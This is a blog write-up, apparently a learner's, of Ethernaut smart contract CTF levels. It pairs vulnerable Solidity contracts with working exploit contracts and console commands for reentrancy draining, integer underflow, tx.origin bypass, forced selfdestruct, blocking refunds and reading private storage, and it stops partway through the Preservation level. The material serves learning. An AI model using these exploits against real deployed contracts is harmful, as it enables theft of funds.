Fork me on GitHub
pikachu's Blog

Ethernaut -- Smart Contract


前言

  • 22 shop 这题貌似已经下线,嘤嘤嘤嘤
  • 以下 wp 都是基于 0.4.* 版本的
  • 记录一下刚学习 Smart Contract 做题的平台的 WP (2333入门级,开心就好~~~),如果没有任何基础,可以参考 CryptoZombies 等教程,下面是题目平台地址:
  • https://ethernaut.openzeppelin.com/

Hello Ethernaut

  • 熟悉关卡挑战的模式,以及执行操作的方式,根据其介绍一步一步操作即可

  • 由于网络不太稳定的原因,可以多试几次,成功的结果花里胡哨的23333



Fallback

Require

  • you claim ownership of the contract
  • you reduce its balance to 0

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {

using SafeMath for uint256;
mapping(address => uint) public contributions;

function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(this.balance);
}

function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

Analyse

  • 合约可以有一个未命名的函数。这个函数不能有参数也不能有返回值。 如果在一个到合约的调用中,没有其他函数与给定的函数标识匹配(或没有提供调用数据),那么这个函数( fallback 函数)会被执行。除此之外,每当合约收到以太币(没有任何数据),这个函数就会执行。此外,为了接收以太币, fallback 函数必须标记为 payable

  • 很明显我们如果通过反复调用 contribute 来触发 owner 不现实,因为我们每次最多向合约贡献不大于 0.001 ether ,而要超过 owner 需要 1000 ether (构造函数赋予 owner 的)。但我们惊喜地发现 fallback 函数同样可以改变 owner 的值,那么对应的操作就非常清晰了:

    • 调用合约的 contribute 使得合约中我们账户对应的 balance 大于 0
    • 触发 fallback 函数使得合约对应的 owner 变成我们
    • 调用 withdraw 函数清空 balance

Solution

1
2
3
4
5
6
7
8
// step 1
await contract.contribute({value: 1});
// step 2,使用 sendTransaction 函数触发 fallback 函数执行
await contract.sendTransaction({value: 1});
// step 3
await contract.withdraw();
// 此时调用 owner 函数可以确认合约的 owner 是否已经变成了我们所对应的地址了
await contract.owner();


Fallout

Require

  • Claim ownership of the contract below to complete this level.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {

using SafeMath for uint256;
mapping (address => uint) allocations;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

Analyse

  • 我们可以发现一个很明显的问题,理论上应该写成 Fallout 的构造函数被写成了 Fal1out ,那么该函数就不是构造函数,意味着该函数可以被我们调用(我们无法调用构造函数)。

Solution

1
2
3
4
// 调用该函数,修改 owner
await contract.Fal1out();
// 可以确认是否修改成功
await contract.owner();


Coin Flip

Require

  • This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function CoinFlip() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

Analyse

  • 代码处理流程为:

    • 获得上一块的 hash
    • 判断与之前保存的 hash 值是否相等,相等则会退
    • 根据 blockValue/FACTOR 的值判断为正或负,即通过 hash 的首位判断
  • 以太坊区块链上的所有交易都是确定性的状态转换操作,每笔交易都会改变以太坊生态系统的全球状态,并且是以一种可计算的方式进行,这意味着其没有任何的不确定性。所以在区块链生态系统内,不存在熵或随机性的来源。如果使用可以被挖矿的矿工所控制的变量,如区块哈希值,时间戳,区块高低或是 Gas 上限等作为随机数的熵源,产生的随机数并不安全。

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
pragma solidity ^0.4.18;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function CoinFlip() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

contract hack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

address instance_address = 0x3205e72483e9568c0959384f9c13672c3566c4a1;
CoinFlip c = CoinFlip(instance_address);

function exploit() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

c.flip(side);
}
}
  • 调用 10exploit() 即可

Telephone

Require

  • Claim ownship of the contract below to complete this level

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;

contract Telephone {

address public owner;

function Telephone() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

Analyse

  • 这里区分一下 tx.originmsg.sendermsg.sender是函数的直接调用方,在用户手动调用该函数时是发起交易的账户地址,但也可以是调用该函数的一个智能合约的地址。而 tx.origin 则必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,而且一定是账户地址而不是合约地址。
  • 给定这样一个场景如:用户通过 合约A合约B ,此时:
    • 对于 合约Atx.originmsg.sender都是用户
    • 对于 合约Btx.origin是用户,msg.sender合约A
      所以,这里部署一个第三方合约即可。

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pragma solidity ^0.4.18;

contract Telephone {

address public owner;

function Telephone() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

contract hack {
address instance_address = 0x852cd04ec66730198e709eb4261d3fa926bc92d8;
Telephone t = Telephone(instance_address);

function exploit() public {
t.changeOwner(msg.sender);
}
}
  • 攻击者调用 exploit() 即可

Token

Require

  • The goal of this level is for you to hack the basic token contract below.
  • You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.18;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

Analyse

  • 经典的整数溢出问题,在 transfer() 函数第一行 require 里,这里的 balancesvalue 都是 uint 。此时 balances20 ,令 value=21 ,产生下溢,从而绕过验证,并转出一笔很大的金额。

Solution

1
2
3
4
// 转给谁不重要,关键是利用 20-21 触发整数下溢
await contract.transfer(0, 21);
// 可以看一下自己现在的 token 有多少(非常之多)
await contract.balanceOf(player);
  • 但是也并非没有办法来处理该问题,最简单的处理是在每一次数学运算时进行判断,如 a=a+b ;就可以写成 if(a+b>a) a=a+b; 。题目建议的另一种解决方案则是使用 OpenZeppelin团队 开发的 SafeMath库 ,如果整数溢出漏洞发生时,函数将进行回退操作,此时加法操作可以写作这样:a=a.add(b);

Delegation

Require

  • claim ownership of the instance

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

contract Delegate {

address public owner;

function Delegate(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}

Analyse

  • 我们看下 delegatecall 的文档

There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.

考点一

  • 考点一在于 Solidity 支持两种底层调用方式 calldelegatecall
  • call 外部调用时,上下文是外部合约
  • delegatecall 外部调用时,上下文是调用合约
  • 所以 delegate.delegatecall(msg.data) 其实调用的是 delegate 自身的 msg.data

考点二

  • 熟悉 raw 格式的交易的 data 的会知道:data4byte 是被调用方法的签名哈希,即 bytes4(keccak256("func")) , remix 里调用函数,实际是向合约账户地址发送了( msg.data[0:4] == 函数签名哈希 )的一笔交易
  • 所以我们只需调用 Delegationfallback 的同时在 msg.data 放入 pwn 函数的签名即可

考点三

  • 这里其实主要思路就是 fallback 的触发条件:
    • 一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数
    • 二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时 fallback 需要带有 payable 标记,否则,合约就会拒绝这个 Ether

综上,我们只需调用 Delegation假pwn() 即可,这样就会触发 Delegationfallback ,这样 pwn 的函数签名哈希就会放在 msg.data[0:4] 了,这样就会只需 delegatepwn()owner 变成自己

Solution

  • web3sha3 就是 keccak256


Force

Require

  • make the balance of the contract greater than zero

Source

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.18;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

Analyse

  • 骚操作, selfdestruct 自毁合约强转
  • 所以只需要再部署一个合约,打一点钱,然后自毁把合约金额转给目标合约即可

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pragma solidity ^0.4.18;

contract Force {}

contract hack {
address instance_address = 0xe0a165650f7b04bde4fda5845d41aaf947703dd2;
Force target = Force(instance_address);

function hack() payable {}

function exploit() payable public {
selfdestruct(target);
}
}
  • 部署 hack 的时候转一点钱,然后执行 exploit() 即可

Vault

Require

  • Unlock the vault to pass the level!

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.4.18;

contract Vault {
bool public locked;
bytes32 private password;

function Vault(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

Analyse

  • 通关条件是 locked = false
  • 考点关键是区块链上的所有信息是公开的
  • 可以用 web3getStorageAt 来访问合约里变量的值

Solution



King

Require

  • When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

address public king;
uint public prize;

function King() public payable {
king = msg.sender;
prize = msg.value;
}

function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}

Analyse

  • 代码逻辑很简单,谁给的钱多谁就能成为 King ,并且将前任 King 的钱归还。当提交 instance 时,题目会重新夺回 King 的位置,需要阻止其他人成为 King方可通关
  • 首先看一下 Solidity 中几种转账方式:
    • address.transfer()
      当发送失败时会 throw ;回滚状态
      只会传递部分 Gas 供调用,防止重入
    • address.send()
      当发送失败时会返回 false
      只会传递部分 Gas 供调用,防止重入
    • address.call.value()()
      当发送失败时会返回 false
      传递所有可用 Gas 供调用,不能有效防止重入
  • 回头看下代码,当我们成为 King 后,如果有人出价比我们高,会首先把钱退回给我们,使用的是 transfer ,上面提到当 transfer 调用失败时会回滚状态,那么如果合约在退钱这一步骤一直调用失败的话,那么代码将无法继续向下运行,其他人也就无法成为新的 King,达到攻击效果

Solution

  • 首先查看一下当前最高出价
1
2
await fromWei((await contract.prize()).toNumber())
// 1 eth
  • 部署一个新的合约,当收到转账时主动抛出错误
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pragma solidity ^0.4.18;

contract Attack {
address instance_address = 0xa4d38a8591b7e16bea4fe0f64cd77ee7243f1cdc;

function Attack() payable{}

function hack() public {
instance_address.call.value(1.1 ether)();
}

function () public {
throw;
}
}
  • 调用 hack() 即可,可以看到调用 hack() 后成为了新的 King ,而且 Submit innstance 后,仍然是 King


Re-entrancy

Require

  • The goal of this level is for you to steal all the funds from the contract

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

function() public payable {}
}

Analyse

  • DASP 排第一的重入漏洞,也是著名的 DAO 事件里用到的方法
  • 漏洞主要在于 withdraw() 函数,合约在进行提币时,使用 require 依次判断提币账户是否拥有相应的资产,随后使用 msg.sender.call.value(amount) 来发送 Ether ,处理完成后相应修改用户资产数据
  • 在提币的过程中,存在一个递归 withdraw 的问题(因为 -=_amount 在转账之后),攻击者可以部署一个包含恶意递归调用的合约将公共钱包合约里的 Ether 全部提出
  • 其中,转账使用的是 address.call.value()() 函数,传递了所有可用 gas 供调用,是可以成功执行递归的前提条件

Solution

  • 查看题目账户余额信息:
    • Reentrance 合约余额为 1 eth
    • balances[address(Attacker)] = 0

  • 所以部署 Attacker 合约时,可以给 Attacker 合约先转 1 eth ,然后 donate 1 eth ,这样的话 Reentrance 合约余额就是 2 eth 了,balances[address(Attacker)] 就是 1 eth ,然后每次 withdraw 1 eth,这样的话,重入 2 次就能将钱全部转出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pragma solidity ^0.4.19;

contract Reentrance {

mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] += msg.value;
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

function() public payable {}
}

contract Attacker{
address instance_address = 0x54426463ef0ff0c720e9947f79ab6a770fda34f4;
Reentrance target = Reentrance(instance_address);
uint have_withdraw = 0;

function Attacker() payable {}

function get_balance() public view returns (uint){
return target.balanceOf(this);
}

function get_balance_ins() public view returns (uint){
return instance_address.balance;
}

function get_balance_my() public view returns (uint){
return address(this).balance;
}

function donate() public payable{
target.donate.value(1 ether)(this);
}

function() payable{
if (have_withdraw == 0 && msg.sender == instance_address){
have_withdraw = 1;
target.withdraw(1 ether);
}
}

function hack(){
target.withdraw(1 ether);
}
}
  • 合约刚部署好余额如下
  • 调用 Attackerdonate()
  • 调用 hack() 进行重入攻击 2 次,可以看到 Reentrance 合约余额变为 0 ,而 balances[address(Attacker)] = 1 - 2 ,由于是 uint256 类型,所以下溢变成了 uint256 类型最大值,攻击成功


Elevator

Require

  • reach the top of your building

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;


interface Building {
function isLastFloor(uint) view public returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

Analyse

  • 通关条件是使 contract.top = true
  • Building 接口中声明了 isLastFloor 函数,用户可自行编写
  • 在主合约中,先调用 building.isLastFloor(floor) 进行 if 判断,然后将 building.isLastFloor(floor) 赋值给 top 。要使 top = ture ,则 building.isLastFloor(floor) 第一次调用需返回 false ,第二次调用返回 true
  • 所以就有了思路:设置一个初始值为 true 的变量,每次调用 isLastFloor() 时,将其取反再返回
  • 但是,题目在声明 isLastFloor 时,赋予了 view 属性,view 表示函数会读取合约变量,但是不会修改任何合约的状态
  • 看了下题目的提示

    Sometimes solidity is not good at keeping promises.

  • 翻阅了文档,找到对 view 的描述:

    view functions: The compiler does not enforce yet that a view method is not modifying state.

  • 意思是当前 Solidity 编译器没有强制执行 view 函数不能修改状态,所以上述做法就是可行的
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    pragma solidity ^0.4.18;

    interface Building {
    function isLastFloor(uint) view public returns (bool);
    }

    contract Elevator {
    bool public top;
    uint public floor;

    function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
    floor = _floor;
    top = building.isLastFloor(floor);
    }
    }
    }

    contract hack {
    address instance_address = 0x89fa2727ad30129f657994117323f7e15b3c626a;
    Elevator e = Elevator(instance_address);
    bool public flag = true;
    function isLastFloor(uint) public returns (bool){
    flag = !flag;
    return flag;
    }
    function exploit() public{
    e.goTo(123);
    }
    }

调用 exploit() 即可


Privacy

Require

  • Unlock this contract to beat the level

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.4.18;

contract Privacy {

bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

function Privacy(bytes32[3] _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

Analyse

  • 之前 Vault 题目的升级版,还是一样,用 getStorageAt() 把链上的数据读出来

Solution

1
2
3
4
5
6
7
8
9
10
await web3.eth.getStorageAt(instance, 0, function(x,y){console.info(y);})
// 0x000000000000000000000000000000000000000000000000000000df9dff0a01
await web3.eth.getStorageAt(instance, 1, function(x,y){console.info(y);})
// 0x85b05e35e73af32ed1948f0a1a58d8a67e449f77eb22222decfef426f1936586
await web3.eth.getStorageAt(instance, 2, function(x,y){console.info(y);})
// 0x9daa83d6f3dbb320583dc59ed67813a5adc473d0d2ff18c0be08ef1a46a037b0
await web3.eth.getStorageAt(instance, 3, function(x,y){console.info(y);})
// 0xf001da34b0220001e65b894cb5ea3d0a3155843c51477b29215a6aa43348b697
await web3.eth.getStorageAt(instance, 4, function(x,y){console.info(y);})
// 0x0000000000000000000000000000000000000000000000000000000000000000
  • 可以看到,每一个存储位是 32 个字节。根据 Solidity 优化规则,当变量所占空间小于 32 字节时,会与后面的变量共享空间,如果加上后面的变量也不超过 32 字节的话,除去 ID 常量无需存储:
    • bool public locked = true1 字节 -> 01
    • uint8 private flattening = 101 字节 -> 0a
    • uint8 private denomination = 2551 字节 -> ff
    • uint16 private awkwardness = uint16(now)2 字节 -> df9d
  • 刚好对应了第一个存储位的 df9dff0a0a
  • 所以 data[2] 应该在第四个存储位 0xf001da34b0220001e65b894cb5ea3d0a3155843c51477b29215a6aa43348b697


Gatekeeper One

Require

  • Make it past the gatekeeper and register as an entrant to pass this level.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(msg.gas.mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Analyse

  • 满足三个 modifier 条件即可
  • gateOne 很简单,通过第三方合约调用 enter 即可
  • gateTwo 需要满足 msg.gas % 8191 == 0
    • msg.gasremaining gas ,在 remixJavascript VM 环境下进行 Debug, 在 Step detail 可以看到这个变量,假设在进入 enter 之前的 remaining gas = 81910

  • 调试到 gateTwomsg.gas 地方,此时 remaining gas = 81697

  • 那么这个过程间消耗的 gas = 81910 - 81697,加上 gas 本身消耗的 2 即可,所以为了满足 gateTwo,在进入 enter 之前的 gas 可以设置为 81910-91697+81910+2

  • gateThree 也比较简单,最后的逻辑是将 tx.origin 倒数三四字节换成 0000 即可,可以通过 bytes8(tx.origin) & 0xFFFFFFFF0000FFFF 实现

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pragma solidity ^0.4.18;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

contract MyAgent {
GatekeeperOne c;

function MyAgent(address _c) {
c = GatekeeperOne(_c);
}

function exploit() {
bytes8 _gateKey = bytes8(msg.sender) & 0xffffffff0000ffff;
c.enter.gas(81910-81697+81910+2)(_gateKey);
}
}

调用 exploit() 即可


Gatekeeper Two

Require

  • Register as an entrant to pass this level

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Analyse

  • 满足三个 modifier 即可
  • gateOne 很简单,通过第三方合约调用 enter 即可
  • gateThree 毕竟简单,直接异或逆运算
    • _gateKey = bytes8(uint64(keccak256(address(this))) ^ (uint64(0) - 1))
  • gateTwo 比较有技巧性,用了 内联汇编 的写法,翻了一下文档 https://ethereum.github.io/yellowpaper/paper.pdf
    • caller : Get caller address.
    • extcodesize : Get size of an account’s code.
  • 按照题目的意思,要使当前合约代码区为空,显然与解题是矛盾的,仔细读文档,有一些细节

Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code.
……
During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code.

  • 也就是说,在执行初始化代码(构造函数),而新的区块还未添加到链上的时候,新的地址已经生成,然而代码区为空,此时,调用 EXTCODESIZE() 返回为 0
  • 那么,只需要在第三方合约的构造函数中调用题目合约中的 enter() 即可

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity ^0.4.18;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

contract hack {

function hack(address _c) {
GatekeeperTwo c = GatekeeperTwo(_c);
bytes8 _gateKey = bytes8(uint64(keccak256(address(this))) ^ (uint64(0) - 1));
c.enter(_gateKey);
}
}

直接部署合约 hack 即可


Naught Coin

Require

  • Complete this level by getting your token balance to 0.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

contract NaughtCoin is StandardToken {

using SafeMath for uint256;
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = (10 ** decimals).mul(1000000);
address public player;

function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

Analyse

  • 根据题意,需要将自己的 balance 清空。合约提供了 transfer() 进行转账,但有一个 modifier lockTokens() 限制,只有 10 年后才能调用 transfer()
  • 注意该合约是 StandardToken 的子合约,题目中也给了 The ERC20 SpecThe OpenZeppelin codebase
  • 在子合约找不出更多信息的时候,把目光更多放到父合约 StandardToken.sol 和接口上
  • The ERC20 Spec 中,除了 transfer() 之外,还有 transferFrom() 函数也可以进行转账
  • 直接看父合约 StandardToken.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
contract StandardToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
...
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}

function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
library ERC20Lib {
...
function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
self.balances[_to] = self.balances[_to].plus(_value);
Transfer(msg.sender, _to, _value);
return true;
}

function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from](msg.sender);

self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from](msg.sender) = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender](_spender) = _value;
Approval(msg.sender, _spender, _value);
return true;
}

}

可以直接调用这个 transferFrom ,但是 transferFrom 需要 msg.sender 获得授权,由于我们就是合约的 owner ,所以可以自己调用 approve 给自己授权

Solution

1
2
await contract.approve(player, (await contract.INITIAL_SUPPLY()).toNumber())
await contract.transferFrom(player, instance, (await contract.INITIAL_SUPPLY()).toNumber())



Preservation

Require

  • This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
  • The goal of this level is for you to claim ownership of the instance you are given.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.4.23;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

